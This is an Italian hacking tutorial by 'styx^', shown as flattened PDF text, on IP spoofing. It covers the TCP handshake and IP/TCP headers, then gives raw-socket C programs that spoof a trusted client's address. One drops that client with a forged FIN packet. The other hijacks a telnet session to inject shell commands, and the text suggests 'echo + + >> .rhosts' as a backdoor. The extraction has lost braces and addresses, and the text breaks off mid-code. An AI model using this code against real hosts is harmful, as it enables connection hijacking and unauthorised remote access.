IP - SPOOFING by styx^
|
|
|
- Vittore Parente
- 10 anni fa
- Просмотров:
Транскрипт
1 IP - SPOOFING by styx^ INDICE 1.0 PREMESSA WAY HANDSHAKE 3.0 IP INTERNET PROTOCOL 4.0 TPC TRANSFER CONTROL PROTOCOL 5.0 RAW SOCKET 6.0 PROBLEMATICHE 7.0 IP SPOOFING NON CIECO SCONNESSIONE HIJACKING 8.0 IP SPOOFING CIECO RST? LOL SCALDATE LE CALCOLATRICI LA REGOLA DEI 64K IN BASE AL TEMPO RANDOM CALCOLARE IL SEQ ATTACCO 9.0 FINE? RINGRAZIAMENTI Pagina 1
2 1.0 PREMESSA Salve a tutti,sono ancora io:styx^. Questa volta vi parlerò di un noto argomento:lip-spoofing! Cosa è l'ip-spoofing? Bè,rispondere questa domanda non è facile,in quanto con gli anni ha assunto numerose interpretazioni. In teoria corrisponde a spacciarsi per qualcun altro,nascondere il proprio ip e varie. I vantaggi? Molti dicono che l'ip-spoofing è ormai antiquato,che non serve a nulla, etc.,ma io sono convinto che sia una tecnica molto importante,che ancora oggi viene trattata in molti libri di sicurezza e che sicuramente ci permette di capire molto di più su come lavora/funziona la rete. Cosa ci permette di fare lip-spoofing? Mmm,le cose che si possono fare sono molte,ma solitamente si sfrutta quando un firewall è settato per far passare solamente connessioni da parte di un determinato host e l'unico modo per connettersi al bersaglio è di "impersonare" quell'host fidato. E' una sola delle possibili implementazioni. L'ip-spoofing si suddivide in cieco e non-cieco. Ma prima di parlarne vediamo un pò i concetti chiave che ci serviranno per affrontare questo articolo WAY HANDSHAKE Allora prima di iniziare il tutto vediamo in dettaglio come avviene un normale 3 way handshake tra un server e un client,cioè quella serie di operazioni che permettono al client di connettersi ad un server e di iniziare quindi una connessione. Di seguito vi allego un client e un server da me fatti e su di essi studieremo il 3 way handshake,usufruendo del comodissimo e mai tramontato (:) tcpdump (man tcpdump) taglia qui: client.c /* a client that send 8 bytes of data to server using: gcc client.c -o client./client */ #include <stdio.h> #include <ctype.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <netdb.h> #include <string.h> #include <signal.h> #include <stdarg.h> Pagina 2
3 #include <sys/socket.h> #include <sys/types.h> #include <sys/time.h> #include <sys/select.h> #include <netinet/in.h> #include <arpa/inet.h> #include <linux/tcp.h> #include <linux/in.h> main(int argn,char *argv[]) struct sockaddr_in server; int sock, num; char buf[]= "styx^ k"; if(argn!= 2) printf("uso: %s <ip>\n",argv[0]); exit(0); sock = socket(af_inet,sock_stream,0); server.sin_port = htons(300); server.sin_addr.s_addr = inet_addr(argv[1]); server.sin_family = AF_INET; if (connect(sock,(struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) perror("connect"); exit(1); send(sock,buf,sizeof(buf),0); close(sock); taglia qui taglia qui: server.c /*server by styx^: using: gcc server.c -o server./server */ Pagina 3
4 #include <stdio.h> #include <ctype.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <netdb.h> #include <string.h> #include <signal.h> #include <stdarg.h> #include <sys/socket.h> #include <sys/types.h> #include <sys/time.h> #include <sys/select.h> #include <netinet/in.h> #include <arpa/inet.h> #include <linux/tcp.h> #define PORTA 300 main() int file; struct sockaddr_in server; struct sockaddr_in client; int sock_server; int sock_client; int size; char *h[8]; int num; sock_server = socket(af_inet,sock_stream,0); server.sin_family = AF_INET; server.sin_port = htons(porta); server.sin_addr.s_addr = INADDR_ANY; bzero(&(server.sin_zero),8); if((bind(sock_server,(struct sockaddr *)&server,sizeof(struct sockaddr))) == -1) perror("bind:"); if((listen(sock_server,10)) == -1) perror("listen"); while(1) Pagina 4
5 size = sizeof(struct sockaddr_in); if((sock_client = accept(sock_server,(struct sockaddr *)&client,&size)) == -1) perror("accept"); num = recv(sock_client,h,8,0); close(sock_client); close(sock_server); taglia qui Facciamo connettere il client con il server e sniffiamo il traffico dei pacchetti: root@styx:~# tcpdump i any -S -vv tcpdump: WARNING: Promiscuous mode not supported on the "any" device tcpdump: listening on any 18:15: localhost > localhost.300: SWE [tcp sum ok] : (0) win :15: localhost.300 > localhost.32768: SE [tcp sum ok] : (0) ack win :15: localhost > localhost.300:. [tcp sum ok] : (0) ack win :15: localhost > localhost.300: P [tcp sum ok] : (8) ack win :15: localhost.300 > localhost.32768:. [tcp sum ok] : (0) ack win :15: localhost.300 > localhost.32768: R [tcp sum ok] : (0) ack win Ora cerchiamo di capire insieme cosa succede: 18:49: localhost > localhost.300: SWE [tcp sum ok] : (0) win Il client si connette alla porta 300 del server. L'unica flag settata è S,che sta per SYN. Il numero di sequenza SEQ ( ) è un numero iniziale di sequenza casuale detto ISN (noi lo chiameremo ISNa). Vediamo che non ha un ACK di risposta,in quanto c'è solamente una richiesta di connessione. Pagina 5
6 18:49: localhost.300 > localhost.32786: SE [tcp sum ok] : (0) ack win Il server risponde al client con il flag SYN (S) con un ISNb e un ACK con l'isn(c) che è uguale a ISNa+1. 18:49: localhost > localhost.300:. [tcp sum ok] : (0) ack win Il client manda un ACK con il sequencial number uguale a ISNd(ISNb+1). In questo modo termina il 3 way-handshake: CLIENT SYN (ISNa) > <------SYN (ISNb)/ACK (ISNa+1) SERVER ACK (ISNb+1) > Se avete dato un occhiata al codice avrete visto che il client senda 8 byte di dati...ecco il significato delle righe seguenti: 18:49: localhost > localhost.300: P [tcp sum ok] : (8) ack win A questo punto vediamo che il client si connette al server settando il flag PSH (P) e vediamo che i dati inviati equivalgono a 8 byte ( = 8 byte). Viene settato anche il flag ACK,il cui numero di sequenza è uguale a ISNb+1. 18:49: localhost.300 > localhost.32786:. [tcp sum ok] : (0) ack win Il server setta il flag ACK il cui sequencial number è uguale a quello di P più il numero di byte inviati (8). Detto ciò,vediamo insieme i flag disponibili e i loro nomi: - SYN = syncronize (sincronizza i numeri di sequenza) - ACK = acknowledge (riconosce i dati) - FIN = finished (il client o l'origine ha finito di inviare dati) - RST = reset (interrompe bruscamente la connessione) - PSH = push (invia dati) - URG = urgent (dati urgenti in arrivo) Capito questo,vediamo come sono strutturati i pacchetti ip e tcp. 3.0 IP - INTERNET PROTOCOL Vediamo come è strutturato un pacchetto ip: Pagina 6
7 Version IHL Type of Service Total Length Identification Flags Fragment Offset Time to Live Protocol Header Checksum Source Address Destination Address Options Padding La grandezza totale di un pacchetto ip strutturato come il seguente è di 20 byte. Analizziamo una per una le varie righe: La prima: - 4 bit che indicano la versione del pacchetto ip [version] - 4 bit che indicano la lunghezza dell'header (la lunghezza giusta è 5) [IHL] - 8 bit che indicano il tipo di servizio [Type of service] - 16 bit che indicano tutta la lunghezza (ma proprio tutta) del pacchetto [Total Lenght] La seconda: - 16 bit che permetteno a chi ricevere i dati di distingure gli altri pacchetti inviati da uno stesso sistema [Identification] - 3 bit che servono per la ricostruzione del pacchetto frammentato - 13 bit che indicano l'offset del pacchetto frammentato [Fragment Offset] La terza: - 8 bit che determinano il tempo di vita del pacchetto,cioè il numero di hop massimo che esso può fare (TTL) - 8 bit che informano del protocollo - 16 bit che indica il checksum dell'header (Header Checksum) La quarta: - 32 bit che indicano l'indirizzo sorgente La quinta: - 32 bit che indicano l'indirizzo di destinazione La sesta non ci interessa. 4.0 TCP - TRASFER CONTROL PROTOCOL Pagina 7
8 Come è strutturato un pacchetto tcp: bit source port number 16-bit destination port number bit sequence number bit acknowledgment number bit reserved U A P R S F header R C S S Y I 16-bit window size lenght (6-bits) G K H T N N bit checksum 16-bit urgent pointer options data Segue la spiegazione riga per riga: La prima: - 16 bit che indicano la porta sorgente - 16 bit che indicano la porta di destinzione La seconda: - 32 bit che corrispondono al sequence number La terza: - 32 bit che corrispondono all'ack number La quarta: - 4 bit che indicano la lunghezza dell'header - 6 bit riservati - 6 bit che indicano i flag possibili - 16 bit che indicano la grandezza di window La quinta,sesta,settima non ci interessano. 5.0 RAW SOCKET Tutti i campi di un pacchetto ip,tcp,udp,icmp sono "personalizzabili",grazie alle raw socket. Infatti gli header di un pacchetto tcp/ip/udp/icmp si trovano nella cartella /usr/include/netinet. Quelli di ip nel file ip.h,mentre del tcp nel file tcp.h:degli altri non ci interessa. Vediamo come è strutturato un pacchetto ip: Pagina 8
9 struct iphdr #if BYTE_ORDER == LITTLE_ENDIAN unsigned int ihl:4; unsigned int version:4; #elif BYTE_ORDER == BIG_ENDIAN& unsigned int version:4; unsigned int ihl:4; #else # error "Please fix " #endif u_int8_t tos; u_int16_t tot_len; u_int16_t id; u_int16_t frag_off; u_int8_t ttl; u_int8_t protocol; u_int16_t check; u_int32_t saddr; u_int32_t daddr; /*The options start here. */ ; Vediamo di spiegare i vari campi: - unsigned int ihl:4 = indica la lunghezza dell' intestatione del pacchetto IP. Solitamente si mette 5. - unsigned int version:4 = indica la versione del pacchetto IP. La mia al momento è la 4. - u_int8_t tos = type of service. - u_int16_t tot_len = lunghezza totale del datagramma (pacchetto IP + pacchetto TCP) - u_int8_t ttl = time to live, ovvero il massimo numero di hop su cui può passare il pacchetto prima di essere considerato perso. - u_int8_t protocol = indica il tipo di pacchetto che è incapsulato all'interno del pacchetto IP. Può valere 6 nel caso di un pacchetto TCP, 17 per UDP, 1 per ICMP oppure può assumere il numero di un qualsiasi altro protocollo - u_int16_t check; una checksum che permette ai router di rilevare eventuali errori nel pacchetto - u_int32_t saddr; indirizzo IP sorgente (questo è il campo che permette l' IP spoofing se viene modificato) - u_int32_t daddr; indirizzo IP destinatario Il campo "u_int16_t check" viene generato attraverso la seguente funzione: u_short in_chksum(u_short *ptr, int nbytes,csum) Pagina 9
10 register long sum = csum; /* assumes long == 32 bits */ u_short oddbyte; register u_short answer; /* assumes u_short == 16 bits */ sum = 0; while (nbytes > 1) sum += *ptr++; nbytes -= 2; /* mop up an odd byte, if necessary */ if (nbytes == 1) oddbyte = 0; /* make sure top half is zero */ *((u_char *) &oddbyte) = *(u_char *)ptr; /* one byte only */ sum += oddbyte; sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* ones-complement, then truncate to 16 bits */ return((u_short) answer); Vediamo ora l' header del pacchetto TCP che si trova nel file "tcp.h": struct tcphdr u_int16_t source; u_int16_t dest; u_int32_t seq; u_int32_t ack_seq; # if BYTE_ORDER == LITTLE_ENDIAN u_int16_t res1:4; u_int16_t doff:4; u_int16_t fin:1; u_int16_t syn:1; u_int16_t rst:1; u_int16_t psh:1; u_int16_t ack:1; u_int16_t urg:1; u_int16_t res2:2; # elif BYTE_ORDER == BIG_ENDIAN u_int16_t doff:4; u_int16_t res1:4; u_int16_t res2:2; u_int16_t urg:1; u_int16_t ack:1; u_int16_t psh:1; Pagina 10
11 u_int16_t rst:1; u_int16_t syn:1; u_int16_t fin:1; # else # error "Adjust your defines" # endif u_int16_t window; u_int16_t check; u_int16_t urg_ptr; ; Spiego quindi i vari campi: - u_int16_t source = porta sorgente da cui è partito il pacchetto TCP - u_int16_t dest = porta a cui è destinato il pacchetto - u_int32_t seq = numero di sequenza (SEQ) - u_int32_t ack_seq = SEQ del pacchetto ACK - u_int16_t doff:4; lunghezza dell' header TCP. Il valore da inserire è 5. - u_int16_t fin:1; flag che viene utilizzato per chiudere una connessione - u_int16_t syn:1; flag che serve per stabilire una connessione - u_int16_t rst:1; flag che serve per resettare una connessione - u_int16_t psh:1; flag che specifica che i dati presenti nel pacchetto sono da passare immediatamente al programma - u_int16_t ack:1; flag che serve per stabilire una connessione - u_int16_t urg:1; flag che notifica la presenza di dati urgenti (non molto utilizzato) - u_int16_t window; finestra di ricezione che specifica quanti pacchetti possono essere ricevuti insieme - u_int16_t check; checksum per controllare la correttezza dei dati Il campo "u_int16_t check" viene generato dal kernel impostandogli come valore 0. Per creare una raw socket,bisogna innanzi tutto creare una socket nel seguente modo: int sock; sock = socket(pf_inet, SOCK_RAW, IPPROTO_TCP); Fatto ciò e creato il pacchetto ip e tcp comunichiamo al kernel che tutti i campi sono stati già riempiti nel modo seguente: int uno = 1; const int *val = &uno; setsockopt(sock, IPPROTO_IP, IP_HDRINCL, val, sizeof(uno); Pagina 11
12 Per inviare il pacchetto utilizziamo una semplice sendto(). Ora basta con le chiacchiere e facciamo un esempio di raw socket: #include <stdio.h> #include <ctype.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <netdb.h> #include <string.h> #include <signal.h> #include <stdarg.h> #include <sys/socket.h> #include <sys/types.h> #include <sys/time.h> #include <sys/select.h> #include <netinet/in.h> #include <arpa/inet.h> #include <linux/tcp.h> #include <netinet/ip.h> u_short in_chksum(u_short *ptr, int nbytes) //funzione per generare checksum register long sum; u_short oddbyte; register u_short answer; sum = 0; while (nbytes > 1) sum += *ptr++; nbytes -= 2; if (nbytes == 1) oddbyte = 0; *((u_char *) &oddbyte) = *(u_char *)ptr; sum += oddbyte; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return((u_short) answer); int main() int sd; char buffer[81392]; //lunghezza massima di un pacchetto Pagina 12
13 struct iphdr *ip = (struct iphdr *) buffer; //definisco la struttura ip struct tcphdr *tcp = (struct tcphdr *) (buffer + sizeof(struct iphdr)); //definisco la struttura tcp struct sockaddr_in sin; int one = 1; const int *val = &one; memset(buffer, 0, 81392); sd = socket(pf_inet, SOCK_RAW, IPPROTO_TCP); if (sd < 0) perror("errore socket()"); /*riempio la struttura ip */ ip->ihl = 5; ip->version = 4; ip->tos = 16; ip->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr); ip->id = htons(52407); ip->frag_off = 0; ip->ttl = 64; ip->protocol = 6; //il protocollo 6 equivale a TCP ip->saddr = inet_addr(" "); //indirizzo sorgente ip->daddr = inet_addr(" "); //indirizzo destinatario /*struttura tcp */ tcp->source = htons(2485); //porta sorgente tcp->dest = htons(21); //porta destinazione tcp->seq = htonl(0); //facciamo in modo che l'isn sia 0 tcp->ack_seq = 0; tcp->doff = 5; tcp->syn = 1; //setto come unico flag quello syn tcp->ack = 0; tcp->check = 0; tcp->window = htons(32767); /*calcolo il checksum */ ip->check = in_chksum((unsigned short *) buffer, sizeof(struct iphdr) + sizeof(struct tcphdr)); if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, val, sizeof(one)) < 0) perror("errore setsockopt()"); if (sendto(sd, buffer, ip->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin)) < 0) Pagina 13
14 perror("errore sendto()"); return 0; Devo aggiungere che potrete utilizzare le raw socket solamente da root!! 6.0 PROBLEMATICHE Alcuni dicono:perchè non spoofiamo il nostro ip in modo che ogni volta che ci connettiamo non appare il nostro reale ip ma quello spoofato? Niente di più stupido. I pacchetti infatti non tornerebbero indietro a noi in quanto l'indirizzo ip inserito da noi non esisterebbe e quindi sarebbe inutile. In più per fare un bel ip-spoofing ci servono i SEQ e i numeri di sequenza degli ACK. Quindi l'unico modo per conoscerli sarebbe o avere accesso alla lan dove si trovano gli host più il bersaglio oppure sul traffico dei pacchetti. Riassumendo facciamo un esempio:siamo in una lan dove possiamo sniffare i pacchetti che passano. Il server bersaglio permette di connettersi ad esso solo ad un host fidato(es. styx^). Una volta sniffati i pacchetti potremo conoscere i vari SEQ e ACK,quindi potremo far cadere l'host fidato e prendere il suo posto,stando attenti a modificare opportunamenteogni campo. Il server quindi continuerà a rimanere connesso a noi pensando che siamo styx^:questo è l'ip-spoofing non-cieco. Mentre nell'ip-spoofing cieco noi non conosciamo i vari SEQ e ack number (in quanto non siamo sulla rotta dei pacchetti), quindi l'unica cosa da fare è prevederli o inventarli. 7.0 IP-SPOOFING NON CIECO Allora,siamo già all'interno di una lan e possiamo quindi sniffare tutti i pacchetti in transito. Vediamo quindi cosa fare: 1) Sniffare con un sniffer (tcpdump) tutti i pacchetti in transito tra il server fidato e il bersaglio 2) Connettersi al bersaglio 3) Modificare in modo appropriato i vari flag e SEQ Da questo tipo di ip-spoofing deriva la sconnessione di un host e l'hijacking,ovvero il dirottamento dei dati. 7.1 SCONNESSIONE Per fare disconnettere un host bisogna fare in modo che il server o il client creda che uno dei due abbiamo mandato all'altro un pacchetto il flag RST o FIN settati. Si possono utilizzare sia le raw socket che le libnet/libpcap. Pensiamo che all'interno Pagina 14
15 della lan ci sia la seguente situazione: C > S C Abbiamo un server S che permette le connessioni solamente al client C1. Quindi C2, se vuole fare cadere C1 per prendere il suo posto o per qualcos'altro, dovrà fare in modo che S o lo stesso C1 credano che uno dei due abbia sendato un pacchetto con il flag SYN o RST settato. Vediamo come dovrà scrivere le sue raw socket C2: indirizzo sorgente = C1 indirizzo destinatario = S porta sorgente = porta C1 porta destinatario = S SEQ = SEQ oppurtuno (vediamo poi come) ACK = ACK oppurtuno (vediamo poi come) FIN = 1 Può sembrare difficile la teoria con questo italiano,ma sicuramente capirete con questo esempio pratico che potrete provare anche voi:proviamo il tutto con una LAN. La mia è settata in questo modo:un client con hostname "portatile" e un server con hostname "styx". :D Innanzi tutto dobbiamo settare iptables nel server per fare in modo che accetti connessioni solo da e non da (una cosa un pò improbabile,ma non ho tre pc :): root@styx:~#iptables -F root@styx:~# iptables -A INPUT -p tcp --dport 23 -s j DROP Ora proviamo a connetterci dal nostro localhost verso il telnet (che avremo attivato predentemente - poi disattivatelo mi raccomando!! ) del server e vediamo un pò: styx@styx:~$ telnet Trying styx@styx:~$ Non si connette! Infatti se vediamo tcpdump noteremo che non si è avviato il 3 way handshake: 14:53: styx > styx.telnet: S : (0) win :54: styx > styx.telnet: S : (0) win Pagina 15
16 Quindi le uniche connessioni che accetta il server sono quelle provenienti dal client. Proviamo quindi a fare questo tipo di attacco,cercando di impersonare l'indirizzo , una volta che lui si è connesso alla porta del server 23. Vediamo insieme a tcpdump ($ tcpdump -i any -S -vvv): 17:25: portatile > styx.telnet: S [tcp sum ok] : (0) win :25: styx.telnet > portatile.32772: S [tcp sum ok] : (0) ack win :25: portatile > styx.telnet:. [tcp sum ok] : (0) ack win Si è appena concluso il 3 way handshake. Non ho scritto le altre fase di negozazione tipiche di telnet per comodità. *********************** Corrisponde a: styx@portatile:~$ telnet Trying Connected to Escape character is '^]'. styx login: Pasword: ******************* Ora l'utente ha scritto il login e la password:... 17:25: portatile > styx.telnet:. [tcp sum ok] : (0) ack win :25: styx.telnet > portatile.32772: P [tcp sum ok] : (16) ack win :25: portatile > styx.telnet:. [tcp sum ok] : (0) ack win Ok,ora l'utente ha a disposizione la shell. ********************* styx@styx:~$ ******************** Vediamo che qualunque cosa digiti il client,il server risponde con un ack. Vediamo ad esempio se digita una 'l': Pagina 16
17 17:26: portatile > styx.telnet: P [tcp sum ok] : (1) ack win :26: styx.telnet > portatile.32772: P [tcp sum ok] : (1) ack win :26: portatile > styx.telnet:. [tcp sum ok] : (0) ack win ********************* styx@styx:~$ l ******************** Ora un 'backspace': 117:26: portatile > styx.telnet: P [tcp sum ok] : (1) ack win :26: styx.telnet > portatile.32772: P [tcp sum ok] : (3) ack win :26: portatile > styx.telnet:. [tcp sum ok] : (0) ack win ********************* styx@styx:~$ ******************** Notate che il SEQ rimane uguale dalla fine dell'invio di un comando ('l') all'inizio dell'invio di un altro ('backspace'). Proviamo quindi a far cadere la connessione settando o il flag FIN o RST (come detto in precedenza) e settando opportunamente il SEQ (sarà ) e l'ack number (sarà ). Vediamo cosa succede (ho scritto lo spoofing con un win diverso (255) per farvi capire meglio): 17:27: portatile > styx.telnet: F [tcp sum ok] : (0) win :27: styx.telnet > portatile.32772: F [tcp sum ok] : (0) ack win :27: portatile > styx.telnet: F [tcp sum ok] : (0) ack win :27: portatile > styx.telnet: F [tcp sum ok] : (0) ack win :27: styx.telnet > portatile.32772: R [tcp sum ok] : (0) win 0.. ********************* styx@styx:~$ Connection closed by foreign host. ******************** Pagina 17
18 Come vedete ho mandato un pacchetto con il flag FIN settato con indirizzo spoofato e ho fatto credere al server che il vero abbia richiesto la fine della connessione,con conseguente sconnessione. Ho utilizzato una semplice raw socket per farlo: ----sock-fin.c #include <stdio.h> #include <ctype.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <netdb.h> #include <string.h> #include <signal.h> #include <stdarg.h> #include <sys/socket.h> #include <sys/types.h> #include <sys/time.h> #include <sys/select.h> #include <netinet/in.h> #include <arpa/inet.h> #include <linux/tcp.h> #include <netinet/ip.h> /* by styx^ usage: $gcc sock-fin.c -o sockfin #sock-fin */ u_short in_chksum(u_short *ptr, int nbytes) register long sum; u_short oddbyte; register u_short answer; sum = 0; while (nbytes > 1) sum += *ptr++; nbytes -= 2; if (nbytes == 1) oddbyte = 0; *((u_char *) &oddbyte) = *(u_char *)ptr; sum += oddbyte; sum = (sum >> 16) + (sum & 0xffff); Pagina 18
19 sum += (sum >> 16); answer = ~sum; return((u_short) answer); int main() int sd; char buffer[81392]; struct iphdr *ip = (struct iphdr *) buffer; struct tcphdr *tcp = (struct tcphdr *) (buffer + sizeof(struct iphdr)); struct sockaddr_in sin; int one = 1; const int *val = &one; memset(buffer, 0, 81392); sd = socket(pf_inet, SOCK_RAW, IPPROTO_TCP); if (sd < 0) perror("errore socket()"); ip->ihl = 5; ip->version = 4; ip->tos = 16; ip->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr); ip->id = htons(52407); ip->frag_off = 0; ip->ttl = 64; ip->protocol = 6; ip->saddr = inet_addr(" "); //metto l'indirizzo sorgente come il client ip->daddr = inet_addr(" "); //server tcp->source = htons(32772); //porta del client tcp->dest = htons(23); //porta del server tcp->seq = htonl( ); //SEQ number tcp->ack_seq = htonl( ); //ack number tcp->doff = 5; tcp->syn = 0; tcp->ack = 0; tcp->fin = 1; //setto il flag fin tcp->check = 0; tcp->window = htons(255); ip->check = in_chksum((unsigned short *) buffer, sizeof(struct iphdr) + sizeof(struct tcphdr)); if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, val, sizeof(one)) < 0) perror("errore setsockopt()"); if (sendto(sd, buffer, ip->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin)) < 0) perror("errore sendto()"); Pagina 19
20 return 0; -----scok-fin.c Quindi come avrete letto (spero) ho settato come indirizzo sorgente il client e come indirizzo destinatario il server. Ho impostato i valori reali (erano quello che ci aspettavamo) del SEQ number e ACK number per fare in modo che il server credesse che la richiesta di fine connessione gli giungesse dal vero client. Però ha sbagliato e ha fatto cadere la persona sbagliata! ;) La stessa cosa la potevate fare con il flag RST! Provate! :D In più potete far credere che linvio di fine connessione sia partito dal server,in modo che il client fidato chiuda la connessione,mentre noi continueremo ad inviare dati al suo posto. RICORDATEVI CHE LE RAW SOCKET FUNZIONANO SOLO DA ROOT!!! 7.2 HIJACKING Per attuare l'hijacking bisognerà come prima cosa desincronizzare il server dal client. Ci sono vari modi, noi utlizzeremo quello tramite l'invio di dati. In un momento di pausa tra l'invio dei dati da parte del client o del server invieremo i nostri con l'ip-spoofato,facendo in modo che il SEQ e l'ack number avanzino rispetto al server,mentre il client sarà desincronizzato in quanto si aspetterà dei SEQ e ack che non riceverà mai,in quanto sono stati modificati da noi e sono avanzati senza che lui lo sappia :D. Ovviamente maggiori saranno il numero di dati inviati,maggiore sarà la desincronizzazione (che parolona :D) Siccome con le parole non sono bravo,vi faccio subito un bel esempio,così capite bene. (Proprio come piace a OverIP :) Riprendendo la situazione di prima: C > S C Il client C1( ) si connette a S( ). Il client C2( ) spacciandosi per C1 si connetterà a C2 ed avrà il controllo della connessione,mentre A sarà desincronizzato e non potrà fare più nulla :D. Connettiamo a alla porta 23: ******************************************* styx@portatile:~$ telnet Trying Connected to Escape character is '^]'. Pagina 20
21 styx login: Pasword: ********************************** Vediamo con tcpdump: 18:18: portatile > styx.telnet: S [tcp sum ok] : (0) win :18: styx.telnet > portatile.36107: S [tcp sum ok] : (0) ack win :18: portatile > styx.telnet:. [tcp sum ok] : (0) ack win :18: styx.telnet > portatile.36107: P [tcp sum ok] : (16) ack win :18: portatile > styx.telnet:. [tcp sum ok] : (0) ack win 5840 Tralascio tutte le opzioni intermezze. Bene ora il client scrive ad esempio 'l': ***************** styx@styx:~$ l ******************** 18:19: portatile > styx.telnet: P [tcp sum ok] : (1) ack win :19: styx.telnet > portatile.36107: P [tcp sum ok] : (1) ack win :19: portatile > styx.telnet:. [tcp sum ok] : (0) ack win 5840 Ora un 'backspace': *********************** styx@styx:~$ ************************** 18:19: portatile > styx.telnet: P [tcp sum ok] : (1) ack win :19: styx.telnet > portatile.36107: P [tcp sum ok] : (3) ack win :19: portatile > styx.telnet:. [tcp sum ok] : (0) ack win Pagina 21
22 ********************* Ora una 'j': ****************** 18:20: portatile > styx.telnet: P [tcp sum ok] : (1) ack win :20: styx.telnet > portatile.36107: P [tcp sum ok] : (1) ack win :20: portatile > styx.telnet:. [tcp sum ok] : (0) ack win 5840 Sappiamo abbastanza per prevedere il prossimo SEQ e ACK number. Il primo sarà mentre il secondo Settiamoli correttamente nel nostro programma insieme a dei dati facoltativi da inviare (nel nostro caso "touch dff":creiamo un file di nome dff). Inviando dati il client C1 sarà desincronizzato,mentre noi potremo conoscere il prossimo SEQ e ACK da inviare e continuare quindi la connessione. Ho segnato il pacchetto spoofato con un win 255 (che sarebbe il primo): 18:22: portatile > styx.telnet: P [tcp sum ok] : (11) ack win :22: styx.telnet > portatile.36107: P [tcp sum ok] : (12) ack win :22: styx.telnet > portatile.36107:. [tcp sum ok] : (0) ack win :23: styx.telnet > portatile.36107: P [tcp sum ok] : (12) ack win :23: portatile > styx.telnet:. [tcp sum ok] : (0) ack win :23: styx.telnet > portatile.36107:. [tcp sum ok] : (0) ack win 5792 Il server telnet ci invia 12 bytes di risposta che corrisponderebbe a "jtouch ddf: command not found". Questo perchè non ho cancellato la j che aveva scritto l'ipotetico "signore" che si era collegato col telnet, quindi non abbiamo potuto creare il file "ddf"(infatti il comando impartito da noi è diventato jtouch dff;\n,che non esiste). Come vedete, invece, C1 non è più sincronizzato con S in quanto non riesce più a trovare il giusto SEQ ( ) e ack ( ) da utilizzare per continuare la connessione,mentre noi sappiamo quale dovremo utilizzare. Riproviamo quindi a ricreare sto benedetto file (il pacchetto spoofato ha sempre win 255): Pagina 22
23 18:27: portatile > styx.telnet: P [tcp sum ok] : (11) ack win :27: styx.telnet > portatile.36107: P : (50) ack win :27: portatile > styx.telnet:. [tcp sum ok] : (0) ack win :27: styx.telnet > portatile.36107:. [tcp sum ok] : (0) ack win :28: portatile > styx.telnet: P [tcp sum ok] : (1) ack win :28: styx.telnet > portatile.36107:. [tcp sum ok] : (0) ack win :28: portatile > styx.telnet: P [tcp sum ok] : (1) ack win 5840 Perfetto! Il file è stato creato. Questo possiamo farlo a oltranza,magari utilizzando un comando più utile,ad esempio echo + + >>.rhosts, il classico. :DD Il vero client vuole interrompere la connessione, ma il suo SEQ e' ancora fuori sincronia ed e' per questo che il suo stato rimarra' in FIN_WAIT1, in attesa di risposta dal server. Questo non potrà però rispondergli perchè non sarà più sincronizzato e dunque una volta terminato il tempo 2MSL,la connessione sarà chiusa dal kernel. Sinceramente inizialmente non volevo allegarvi il codice che ho utilizzato per fare hijacking... considerate che per riuscire a fargli calcolare il checksum tcp corretto sono dovuto ad andare a spulciare tutti gli include checksum.h del kernel,ma poi ci ho ripensato. Infatti quando ho letto le varie guide su questo argomento,non ho trovato mai del codice:poiché la cosa mi faceva stranire abbastanza (e penso che la stessa cosa succeda a voi),ho deciso di allegare il codice. Quando lo utilizzate,pensate a me che ci ho perso molto tempo! Detto questo,beccateve sto code: [il codice è già stato commentato] /----- rawsock.c / /*rawsock.c by styx^ (c) how use it: $gcc rawsock.c -o raw $su #./raw */ #include <stdio.h> #include <ctype.h> #include <stdlib.h> Pagina 23
24 #include <unistd.h> #include <errno.h> #include <netdb.h> #include <string.h> #include <signal.h> #include <stdarg.h> #include <sys/socket.h> #include <sys/types.h> #include <sys/time.h> #include <sys/select.h> #include <netinet/in.h> #include <arpa/inet.h> #include <linux/tcp.h> #include <netinet/ip.h> struct pseudotcp unsigned long int source, dest; char zero_byte, protocol; unsigned short len; ; unsigned short in_cksum(unsigned short *addr,register unsigned int len,int csum) int nleft=len; int sum=csum; unsigned short *w = addr; unsigned short answer=0; while( nleft > 1 ) sum += *w++; nleft -= 2; if (nleft == 1) *(unsigned char *) (&answer) = *(unsigned char *)w; sum +=answer; sum=(sum >> 16) + (sum & 0xffff ); sum += (sum >> 16); answer = ~sum; return(answer); static inline unsigned long csum_tcpudp_nofold(unsigned long saddr, Pagina 24
25 unsigned long daddr, unsigned short len, unsigned short proto, unsigned int sum) asm ( "addl %1, %0 ;\n" "adcl %2, %0 ;\n" "adcl %3, %0 ;\n" "adcl $0, %0 ;\n" : "=r" (sum) : "g" (daddr), "g"(saddr), "g"((ntohs(len)<<16)+proto*256), "0"(sum)); return sum; int main() int sock; char packet[1500]; struct iphdr *ip; struct tcphdr *tcp; unsigned char *msg; struct sockaddr_in sin; int uno = 1; struct pseudotcp psdtcp; unsigned short *psdhdr; unsigned int csum=0; char *data = "touch dd;\r"; int len = strlen(data); sock = socket(af_inet, SOCK_RAW, IPPROTO_TCP); if (sock < 0) perror("errore socket()"); memset(packet,0,1500); memset(&sin,0,sizeof(struct sockaddr_in)); ip = (struct iphdr *)packet; tcp = (struct tcphdr *)(packet + sizeof(struct iphdr)); msg = (unsigned char *)(packet + sizeof(struct iphdr) + sizeof(struct tcphdr)); sin.sin_port = htons(); // inserite porta sin.sin_addr.s_addr = inet_addr(""); // inserite indirizzo sin.sin_family = AF_INET; if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &uno, sizeof(uno)) < 0) Pagina 25
